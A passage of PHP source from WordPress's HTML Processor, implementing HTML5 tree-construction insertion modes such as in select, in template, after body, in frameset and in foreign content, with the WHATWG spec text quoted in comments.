				if ( ! $this->state->stack_of_open_elements->current_node_is( $tag_name ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( $tag_name );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "td",
			 * > "tfoot", "th", "thead", "tr"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
				/*
				 * > Assert: The stack of open elements has a td or th element in table scope.
				 *
				 * Nothing to do here, except to verify in tests that this never appears.
				 */

				$this->close_cell();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is one of: "table", "tbody", "tfoot", "thead", "tr"
			 */
			case '-TABLE':
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
			case '-TR':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->close_cell();
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Anything else
		 * >   Process the token using the rules for the "in body" insertion mode.
		 */
		return $this->step_in_body();
	}

	/**
	 * Parses next element in the 'in select' insertion mode.
	 *
	 * This internal function performs the 'in select' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inselect
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_select(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > Any other character token
			 */
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * If a text node only comprises null bytes then it should be
				 * entirely ignored and should not return to calling code.
				 */
				if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "option"
			 */
			case '+OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "optgroup"
			 * > A start tag whose tag name is "hr"
			 *
			 * These rules are identical except for the treatment of the self-closing flag and
			 * the subsequent pop of the HR void element, all of which is handled elsewhere in the processor.
			 */
			case '+OPTGROUP':
			case '+HR':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}

				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTGROUP' ) ) {
					$this->state->stack_of_open_elements->pop();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "optgroup"
			 */
			case '-OPTGROUP':
				$current_node = $this->state->stack_of_open_elements->current_node();
				if ( $current_node && 'OPTION' === $current_node->node_name ) {
					foreach ( $this->state->stack_of_open_elements->walk_up( $current_node ) as $parent ) {
						break;
					}
					if ( $parent && 'OPTGROUP' === $parent->node_name ) {
						$this->state->stack_of_open_elements->pop();
					}
				}

				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTGROUP' ) ) {
					$this->state->stack_of_open_elements->pop();
					return true;
				}

				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is "option"
			 */
			case '-OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
					return true;
				}

				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is "select"
			 * > A start tag whose tag name is "select"
			 *
			 * > It just gets treated like an end tag.
			 */
			case '-SELECT':
			case '+SELECT':
				if ( ! $this->state->stack_of_open_elements->has_element_in_select_scope( 'SELECT' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return true;

			/*
			 * > A start tag whose tag name is one of: "input", "keygen", "textarea"
			 *
			 * All three of these tags are considered a parse error when found in this insertion mode.
			 */
			case '+INPUT':
			case '+KEYGEN':
			case '+TEXTAREA':
				if ( ! $this->state->stack_of_open_elements->has_element_in_select_scope( 'SELECT' ) ) {
					// Ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "script", "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+SCRIPT':
			case '+TEMPLATE':
			case '-TEMPLATE':
				return $this->step_in_head();
		}

		/*
		 * > Anything else
		 * >   Parse error: ignore the token.
		 */
		return $this->step();
	}

	/**
	 * Parses next element in the 'in select in table' insertion mode.
	 *
	 * This internal function performs the 'in select in table' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inselectintable
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_select_in_table(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is one of: "caption", "table", "tbody", "tfoot", "thead", "tr", "td", "th"
			 */
			case '+CAPTION':
			case '+TABLE':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '+TR':
			case '+TD':
			case '+TH':
				// @todo Indicate a parse error once it's possible.
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "caption", "table", "tbody", "tfoot", "thead", "tr", "td", "th"
			 */
			case '-CAPTION':
			case '-TABLE':
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
			case '-TR':
			case '-TD':
			case '-TH':
				// @todo Indicate a parse error once it's possible.
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $token_name ) ) {
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Anything else
		 */
		return $this->step_in_select();
	}

	/**
	 * Parses next element in the 'in template' insertion mode.
	 *
	 * This internal function performs the 'in template' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intemplate
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_template(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = $this->is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token
			 * > A comment token
			 * > A DOCTYPE token
			 */
			case '#text':
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
			case 'html':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link",
			 * > "meta", "noframes", "script", "style", "template", "title"
			 * > An end tag whose tag name is "template"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is one of: "caption", "colgroup", "tbody", "tfoot", "thead"
			 */
			case '+CAPTION':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "tr"
			 */
			case '+TR':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "td", "th"
			 */
			case '+TD':
			case '+TH':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Any other start tag
		 */
		if ( ! $is_closer ) {
			array_pop( $this->state->stack_of_template_insertion_modes );
			$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
			$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
			return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Any other end tag
		 */
		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > An end-of-file token
		 */
		if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
			// Stop parsing.
			return false;
		}

		// @todo Indicate a parse error once it's possible.
		$this->state->stack_of_open_elements->pop_until( 'TEMPLATE' );
		$this->state->active_formatting_elements->clear_up_to_last_marker();
		array_pop( $this->state->stack_of_template_insertion_modes );
		$this->reset_insertion_mode_appropriately();
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after body' insertion mode.
	 *
	 * This internal function performs the 'after body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_body(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				goto after_body_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of BODY is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "html"
			 *
			 * > If the parser was created as part of the HTML fragment parsing algorithm,
			 * > this is a parse error; ignore the token. (fragment case)
			 * >
			 * > Otherwise, switch the insertion mode to "after after body".
			 */
			case '-HTML':
				if ( isset( $this->context_node ) ) {
					return $this->step();
				}

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY;
				/*
				 * The HTML element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();
		}

		/*
		 * > Parse error. Switch the insertion mode to "in body" and reprocess the token.
		 */
		after_body_anything_else:
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in frameset' insertion mode.
	 *
	 * This internal function performs the 'in frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inframeset
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Insert the character.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in frameset.' );
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "frameset"
			 */
			case '+FRAMESET':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "frameset"
			 */
			case '-FRAMESET':
				/*
				 * > If the current node is the root html element, then this is a parse error;
				 * > ignore the token. (fragment case)
				 */
				if ( $this->state->stack_of_open_elements->current_node_is( 'HTML' ) ) {
					return $this->step();
				}

				/*
				 * > Otherwise, pop the current node from the stack of open elements.
				 */
				$this->state->stack_of_open_elements->pop();

				/*
				 * > If the parser was not created as part of the HTML fragment parsing algorithm
				 * > (fragment case), and the current node is no longer a frameset element, then
				 * > switch the insertion mode to "after frameset".
				 */
				if ( ! isset( $this->context_node ) && ! $this->state->stack_of_open_elements->current_node_is( 'FRAMESET' ) ) {
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET;
				}

				return true;

			/*
			 * > A start tag whose tag name is "frame"
			 *
			 * > Insert an HTML element for the token. Immediately pop the
			 * > current node off the stack of open elements.
			 * >
			 * > Acknowledge the token's self-closing flag, if it is set.
			 */
			case '+FRAME':
				$this->insert_html_element( $this->state->current_token );
				$this->state->stack_of_open_elements->pop();
				return true;

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'after frameset' insertion mode.
	 *
	 * This internal function performs the 'after frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterframeset
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Insert the character.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in after frameset' );
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "html"
			 */
			case '-HTML':
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET;
				/*
				 * The HTML element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'after after body' insertion mode.
	 *
	 * This internal function performs the 'after after body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-after-body-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_after_body(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of HTML is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 * > A start tag whose tag name is "html"
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case 'html':
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				goto after_after_body_anything_else;
				break;
		}

		/*
		 * > Parse error. Switch the insertion mode to "in body" and reprocess the token.
		 */
		after_after_body_anything_else:
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after after frameset' insertion mode.
	 *
	 * This internal function performs the 'after after frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-after-frameset-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_after_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of HTML is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 * > A start tag whose tag name is "html"
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case 'html':
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Process the token using the rules for the "in body" insertion mode.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in after after frameset.' );
				break;

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'in foreign content' insertion mode.
	 *
	 * This internal function performs the 'in foreign content' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inforeign
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_foreign_content(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		/*
		 * > A start tag whose name is "font", if the token has any attributes named "color", "face", or "size"
		 *
		 * This section drawn out above the switch to more easily incorporate
		 * the additional rules based on the presence of the attributes.
		 */
		if (
			'+FONT' === $op &&
			(
				null !== $this->get_attribute( 'color' ) ||
				null !== $this->get_attribute( 'face' ) ||
				null !== $this->get_attribute( 'size' )
			)
		) {
			$op = '+FONT with attributes';
		}

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * This is handled by `get_modifiable_text()`.
				 */

				/*
				 * Whitespace-only text does not affect the frameset-ok flag.
				 * It is probably inter-element whitespace, but it may also
				 * contain character references which decode only to whitespace.
				 */
				if ( parent::TEXT_IS_GENERIC === $this->text_node_classification ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * CDATA sections are alternate wrappers for text content and therefore
			 * ought to follow the same rules as text nodes.
			 */
			case '#cdata-section':
				/*
				 * NULL bytes and whitespace do not change the frameset-ok flag.
				 */
				$current_token        = $this->bookmarks[ $this->state->current_token->bookmark_name ];
				$cdata_content_start  = $current_token->start + 9;
				$cdata_content_length = $current_token->length - 12;
				if ( strspn( $this->html, "\0 \t\n\f\r", $cdata_content_start, $cdata_content_length ) !== $cdata_content_length ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "b", "big", "blockquote", "body", "br", "center",
			 * > "code", "dd", "div", "dl", "dt", "em", "embed", "h1", "h2", "h3", "h4", "h5",
			 * > "h6", "head", "hr", "i", "img", "li", "listing", "menu", "meta", "nobr", "ol",
			 * > "p", "pre", "ruby", "s", "small", "span", "strong", "strike", "sub", "sup",
			 * > "table", "tt", "u", "ul", "var"
			 *
			 * > A start tag whose name is "font", if the token has any attributes named "color", "face", or "size"
			 *
			 * > An end tag whose tag name is "br", "p"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '+B':
			case '+BIG':
			case '+BLOCKQUOTE':
			case '+BODY':
			case '+BR':
			case '+CENTER':
			case '+CODE':
			case '+DD':
			case '+DIV':
			case '+DL':
			case '+DT':
			case '+EM':
			case '+EMBED':
			case '+H1':
			case '+H2':
			case '+H3':
			case '+H4':
			case '+H5':
			case '+H6':
			case '+HEAD':
			case '+HR':
			case '+I':
			case '+IMG':
			case '+LI':
			case '+LISTING':
			case '+MENU':
			case '+META':
			case '+NOBR':
			case '+OL':
			case '+P':
			case '+PRE':
			case '+RUBY':
			case '+S':
			case '+SMALL':
			case '+SPAN':
			case '+STRONG':
			case '+STRIKE':
			case '+SUB':
			case '+SUP':
			case '+TABLE':
			case '+TT':
			case '+U':
			case '+UL':
			case '+VAR':
			case '+FONT with attributes':
			case '-BR':
			case '-P':
				// @todo Indicate a parse error once it's possible.
				foreach ( $this->state->stack_of_open_elements->walk_up() as $current_node ) {
					if (
						'math' === $current_node->integration_node_type ||
						'html' === $current_node->integration_node_type ||
						'html' === $current_node->namespace
					) {
						break;
					}

					$this->state->stack_of_open_elements->pop();
				}
				goto in_foreign_content_process_in_current_insertion_mode;
		}

		/*
		 * > Any other start tag
		 */
		if ( ! $this->is_tag_closer() ) {
			$this->insert_foreign_element( $this->state->current_token, false );

			/*
			 * > If the token has its self-closing flag set, then run
			 * > the appropriate steps from the following list:
			 * >
			 * >   ↪ the token's tag name is "script", and the new current node is in the SVG namespace
			 * >         Acknowledge the token's self-closing flag, and then act as
			 * >         described in the steps for a "script" end tag below.
			 * >
			 * >   ↪ Otherwise
			 * >         Pop the current node off the stack of open elements and
			 * >         acknowledge the token's self-closing flag.
			 *
			 * Since the rules for SCRIPT below indicate to pop the element off of the stack of
			 * open elements, which is the same for the Otherwise condition, there's no need to
			 * separate these checks. The difference comes when a parser operates with the scripting
			 * flag enabled, and executes the script, which this parser does not support.
			 */
			if ( $this->state->current_token->has_self_closing_flag ) {
				$this->state->stack_of_open_elements->pop();
			}
			return true;
		}

		/*
		 * > An end tag whose name is "script", if the current node is an SVG script element.
		 */
		if ( $this->is_tag_closer() && 'SCRIPT' === $this->state->current_token->node_name && 'svg' === $this->state->current_token->namespace ) {
			$this->state->stack_of_open_elements->pop();
			return true;
		}

		/*
		 * > Any other end tag
		 */
		if ( $this->is_tag_closer() ) {
			$node = $this->state->stack_of_open_elements->current_node();
			if ( $tag_name !== $node->node_name ) {
				// @todo Indicate a parse error once it's possible.
			}
			in_foreign_content_end_tag_loop:
			if ( $node === $this->state->stack_of_open_elements->at( 1 ) ) {
				return true;
			}

			/*
			 * > If node's tag name, converted to ASCII lowercase, is the same as the tag name
			 * > of the token, pop elements from the stack of open elements until node has
			 * > been popped from the stack, and then return.
			 */
			if ( 0 === strcasecmp( $node->node_name, $tag_name ) ) {
				foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
					$this->state->stack_of_open_elements->pop();
					if ( $node === $item ) {
						return true;
					}
				}
			}

			foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $item ) {
				$node = $item;
				break;
			}

			if ( 'html' !== $node->namespace ) {
				goto in_foreign_content_end_tag_loop;
			}

			in_foreign_content_process_in_current_insertion_mode:
			switch ( $this->state->insertion_mode ) {
				case WP_HTML_Processor_State::INSERTION_MODE_INITIAL:
					return $this->step_initial();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML:
					return $this->step_before_html();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD:
					return $this->step_before_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD:
					return $this->step_in_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT:
					return $this->step_in_head_noscript();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD:
					return $this->step_after_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_BODY:
					return $this->step_in_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					return $this->step_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT:
					return $this->step_in_table_text();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					return $this->step_in_caption();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP:
